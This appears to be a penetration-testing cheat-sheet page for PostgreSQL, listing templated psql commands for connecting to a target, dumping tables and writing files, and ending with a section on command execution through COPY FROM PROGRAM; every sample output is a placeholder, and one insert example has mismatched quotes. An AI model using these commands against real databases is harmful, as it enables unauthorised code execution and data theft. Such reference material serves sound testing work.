TLDRBins TLDRBins / Postgresql


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Connect

psql -h <TARGET> -U <USER>
Sample Output: TO-DO
psql -h <TARGET> -U <USER> -p <PORT> -d <DB_NAME>
Sample Output: TO-DO
psql 'postgresql://<USER>:<PASSWORD>@localhost:5432/<DB_NAME>'
Sample Output: TO-DO

Basic

# Show Databases \list
Sample Output: TO-DO
# Use Database \connect <DB_NAME>
Sample Output: TO-DO
# Show Tables \dt
Sample Output: TO-DO
# Dump from Table select * from "<TABLE_NAME>";
Sample Output: TO-DO
# Insert into Table insert into "<TABLE_NAME>" (<COLUMN_1>, <COLUMN_2>) values ("<VALUE_1>', '<VALUE_2>');
Sample Output: TO-DO
# Write Text copy (select '<STRING>') to '<TARGET_PATH>';
Sample Output: TO-DO
# List All User Accounts \du+
Sample Output: TO-DO
# Exit \q
Sample Output: TO-DO


RCE

# Only for Superuser CREATE TABLE IF NOT EXISTS exec(string text);
Sample Output: TO-DO
# Code Execution COPY exec FROM PROGRAM '<CMD>';
Sample Output: TO-DO
# Check Ouput SELECT * FROM exec;
Sample Output: TO-DO